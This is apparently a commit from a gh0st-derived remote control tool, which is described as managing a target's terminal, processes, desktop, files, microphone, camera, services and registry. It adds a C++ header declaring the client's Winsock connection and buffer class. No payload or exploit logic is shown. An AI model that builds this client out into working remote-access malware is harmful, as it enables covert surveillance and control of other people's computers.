基于gh0st的远程控制器

实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。

client/IOCPClient.h

@@ -0,0 +1,69 @@
+// IOCPClient.h: interface for the IOCPClient class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#if !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
+#define AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_
+
+#if _MSC_VER > 1000
+#pragma once
+#endif // _MSC_VER > 1000
+
+#include <WinSock2.h>
+#include <Windows.h>
+#include <MSTcpIP.h>
+#include "Buffer.h"
+#include "Manager.h"
+
+#pragma comment(lib,"ws2_32.lib")
+
+#define MAX_RECV_BUFFER  1024*8
+#define MAX_SEND_BUFFER  1024*8 
+#define FLAG_LENGTH    5
+#define HDR_LENGTH     13
+
+enum { S_STOP = 0, S_RUN, S_END };
+
+class IOCPClient  
+{
+public:
+	IOCPClient(bool exit_while_disconnect = false);
+	virtual ~IOCPClient();
+	SOCKET   m_sClientSocket;
+
+	BOOL	 m_bWorkThread;
+	HANDLE   m_hWorkThread;
+	
+	BOOL ConnectServer(char* szServerIP, unsigned short uPort);
+	static DWORD WINAPI WorkThreadProc(LPVOID lParam);
+
+	VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
+	int OnServerSending(char* szBuffer, ULONG ulOriginalLength);
+	BOOL SendWithSplit(char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
+
+	BOOL IsRunning() const
+	{
+		return m_bIsRunning;
+	}
+
+	BOOL m_bIsRunning;
+	BOOL m_bConnected;
+	CBuffer m_WriteBuffer;
+	CBuffer m_CompressedBuffer;
+	CBuffer m_DeCompressedBuffer;
+
+	char    m_szPacketFlag[FLAG_LENGTH];
+
+	VOID setManagerCallBack(class CManager* Manager);
+
+	VOID Disconnect();
+	VOID RunEventLoop();
+	bool IsConnected() const { return m_bConnected; }
+
+public:	
+	class CManager* m_Manager; 
+	CRITICAL_SECTION m_cs;
+	bool m_exit_while_disconnect;
+};
+
+#endif // !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)